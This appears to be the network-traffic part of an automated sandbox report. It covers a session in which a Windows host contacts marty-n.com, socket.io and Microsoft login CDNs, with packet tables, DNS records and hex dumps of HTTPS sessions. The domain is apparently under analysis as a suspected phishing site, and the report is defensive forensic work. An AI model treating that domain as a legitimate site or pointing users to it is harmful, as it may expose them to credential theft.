Oct 25, 2024 22:08:07.486334085 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.486387014 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.520600080 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:07.535686016 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.535744905 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.583638906 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.720416069 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.720482111 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.720552921 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.720680952 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.720680952 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.721343994 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.721406937 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.771672964 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:07.771847963 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:07.772056103 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:07.779426098 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:07.779485941 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:07.955207109 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:07.955241919 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:07.955324888 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:07.955665112 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:07.955672026 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:08.852755070 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:08.852835894 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:08.855000973 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:08.855007887 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:08.855232954 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:08.865350008 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:08.907330036 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.159154892 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.159178019 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.159197092 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.159259081 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:09.159271955 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.159326077 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:09.162122011 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.162178040 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.162183046 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:09.162208080 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.162230968 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.162241936 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:09.162270069 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:09.163880110 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:09.163892031 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:09.163902998 CEST	49749	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:08:09.163908005 CEST	443	49749	52.149.20.212	192.168.2.16
Oct 25, 2024 22:08:15.429836035 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:15.429996967 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:15.430051088 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:16.278136015 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:16.278163910 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:04.612190962 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:04.612243891 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:04.612477064 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:04.612648964 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:04.612669945 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:05.476805925 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:05.477154970 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:05.477220058 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:05.477585077 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:05.477914095 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:05.477991104 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:05.522893906 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:15.477600098 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:15.477677107 CEST	443	49751	142.250.186.68	192.168.2.16
Oct 25, 2024 22:09:15.477875948 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:16.268629074 CEST	49751	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:09:16.268734932 CEST	443	49751	142.250.186.68	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 22:07:59.987051010 CEST	53	53447	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:00.057944059 CEST	53	63325	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:00.102814913 CEST	53358	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:00.103091955 CEST	60615	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:00.212898970 CEST	53	53358	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:00.336726904 CEST	53	60615	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:01.296022892 CEST	53	59261	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:03.225292921 CEST	49996	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:03.225533009 CEST	63518	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:03.233839035 CEST	53	63518	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:03.251651049 CEST	53	49996	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:03.895931005 CEST	50564	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:03.896059990 CEST	50136	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:03.995712042 CEST	53	50564	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:03.996818066 CEST	53	50136	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.554996014 CEST	64086	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.555109024 CEST	49594	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.562266111 CEST	53	64086	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.562390089 CEST	53	49594	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.665365934 CEST	49775	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.665365934 CEST	61255	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.673583031 CEST	53	61255	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.673724890 CEST	53	49775	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.703592062 CEST	57332	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.703735113 CEST	62490	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.712266922 CEST	53	62490	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.713749886 CEST	65177	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.713874102 CEST	64770	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:04.721000910 CEST	53	65177	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.721091032 CEST	53	64770	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.723450899 CEST	53	57332	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:04.796886921 CEST	53	50221	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:06.438040972 CEST	57155	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:06.438234091 CEST	52439	53	192.168.2.16	1.1.1.1
Oct 25, 2024 22:08:06.445714951 CEST	53	57155	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:06.446003914 CEST	53	52439	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:18.332271099 CEST	53	52084	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:19.799604893 CEST	138	138	192.168.2.16	192.168.2.255
Oct 25, 2024 22:08:37.143428087 CEST	53	51735	1.1.1.1	192.168.2.16
Oct 25, 2024 22:08:59.753410101 CEST	53	56377	1.1.1.1	192.168.2.16
Oct 25, 2024 22:09:00.116616964 CEST	53	49793	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 25, 2024 22:08:00.336838007 CEST	192.168.2.16	1.1.1.1	c231	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 22:08:00.102814913 CEST	192.168.2.16	1.1.1.1	0x8853	Standard query (0)	marty-n.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:00.103091955 CEST	192.168.2.16	1.1.1.1	0x9e82	Standard query (0)	marty-n.com	65	IN (0x0001)	false
Oct 25, 2024 22:08:03.225292921 CEST	192.168.2.16	1.1.1.1	0xb1ed	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:03.225533009 CEST	192.168.2.16	1.1.1.1	0xd9e6	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Oct 25, 2024 22:08:03.895931005 CEST	192.168.2.16	1.1.1.1	0x16a8	Standard query (0)	marty-n.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:03.896059990 CEST	192.168.2.16	1.1.1.1	0x5c3f	Standard query (0)	marty-n.com	65	IN (0x0001)	false
Oct 25, 2024 22:08:04.554996014 CEST	192.168.2.16	1.1.1.1	0x559b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.555109024 CEST	192.168.2.16	1.1.1.1	0x12e3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 25, 2024 22:08:04.665365934 CEST	192.168.2.16	1.1.1.1	0x1e1d	Standard query (0)	www.w3schools.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.665365934 CEST	192.168.2.16	1.1.1.1	0x13d1	Standard query (0)	www.w3schools.com	65	IN (0x0001)	false
Oct 25, 2024 22:08:04.703592062 CEST	192.168.2.16	1.1.1.1	0xcbd6	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.703735113 CEST	192.168.2.16	1.1.1.1	0x35cb	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Oct 25, 2024 22:08:04.713749886 CEST	192.168.2.16	1.1.1.1	0x89b9	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.713874102 CEST	192.168.2.16	1.1.1.1	0x330f	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 25, 2024 22:08:06.438040972 CEST	192.168.2.16	1.1.1.1	0xe	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:06.438234091 CEST	192.168.2.16	1.1.1.1	0x5139	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 22:08:00.212898970 CEST	1.1.1.1	192.168.2.16	0x8853	No error (0)	marty-n.com		185.45.66.155	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:03.233839035 CEST	1.1.1.1	192.168.2.16	0xd9e6	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:03.251651049 CEST	1.1.1.1	192.168.2.16	0xb1ed	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:03.251651049 CEST	1.1.1.1	192.168.2.16	0xb1ed	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:03.251651049 CEST	1.1.1.1	192.168.2.16	0xb1ed	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:03.251651049 CEST	1.1.1.1	192.168.2.16	0xb1ed	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:03.251651049 CEST	1.1.1.1	192.168.2.16	0xb1ed	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:03.995712042 CEST	1.1.1.1	192.168.2.16	0x16a8	No error (0)	marty-n.com		185.45.66.155	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.562266111 CEST	1.1.1.1	192.168.2.16	0x559b	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.562390089 CEST	1.1.1.1	192.168.2.16	0x12e3	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 25, 2024 22:08:04.673583031 CEST	1.1.1.1	192.168.2.16	0x13d1	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.673724890 CEST	1.1.1.1	192.168.2.16	0x1e1d	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.673724890 CEST	1.1.1.1	192.168.2.16	0x1e1d	No error (0)	cs837.wac.edgecastcdn.net		192.229.133.221	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.712266922 CEST	1.1.1.1	192.168.2.16	0x35cb	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.720438957 CEST	1.1.1.1	192.168.2.16	0xf7c4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.720438957 CEST	1.1.1.1	192.168.2.16	0xf7c4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.721000910 CEST	1.1.1.1	192.168.2.16	0x89b9	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.721000910 CEST	1.1.1.1	192.168.2.16	0x89b9	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.721000910 CEST	1.1.1.1	192.168.2.16	0x89b9	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.721031904 CEST	1.1.1.1	192.168.2.16	0xcc08	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.721031904 CEST	1.1.1.1	192.168.2.16	0xcc08	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.721091032 CEST	1.1.1.1	192.168.2.16	0x330f	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.721091032 CEST	1.1.1.1	192.168.2.16	0x330f	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.723450899 CEST	1.1.1.1	192.168.2.16	0xcbd6	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:04.723450899 CEST	1.1.1.1	192.168.2.16	0xcbd6	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.723450899 CEST	1.1.1.1	192.168.2.16	0xcbd6	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.723450899 CEST	1.1.1.1	192.168.2.16	0xcbd6	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:04.723450899 CEST	1.1.1.1	192.168.2.16	0xcbd6	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:06.211393118 CEST	1.1.1.1	192.168.2.16	0xf570	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:06.211393118 CEST	1.1.1.1	192.168.2.16	0xf570	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:06.212018013 CEST	1.1.1.1	192.168.2.16	0x489a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:06.212018013 CEST	1.1.1.1	192.168.2.16	0x489a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:06.445714951 CEST	1.1.1.1	192.168.2.16	0xe	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:06.445714951 CEST	1.1.1.1	192.168.2.16	0xe	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:06.445714951 CEST	1.1.1.1	192.168.2.16	0xe	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:08:06.446003914 CEST	1.1.1.1	192.168.2.16	0x5139	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 22:08:06.446003914 CEST	1.1.1.1	192.168.2.16	0x5139	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

marty-n.com

https:

cdn.socket.io

aadcdn.msauth.net

logincdn.msauth.net

www.w3schools.com

aadcdn.msftauth.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49700	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-25 20:07:22 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=160660 Date: Fri, 25 Oct 2024 20:07:22 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49701	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-25 20:07:24 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=160659 Date: Fri, 25 Oct 2024 20:07:23 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-25 20:07:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49703	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+d3uuy6YdV8yVhl&MD=lvxVbZ8h HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-25 20:07:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f62e53cd-bca9-47d3-821b-b41afbaafc1a MS-RequestId: 6098786f-1acb-40d1-ada5-f6b087b4dee1 MS-CV: NkvCFSXnr0mDICbr.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 25 Oct 2024 20:07:30 GMT Connection: close Content-Length: 24490
2024-10-25 20:07:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-25 20:07:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49708	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-25 20:07:36 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
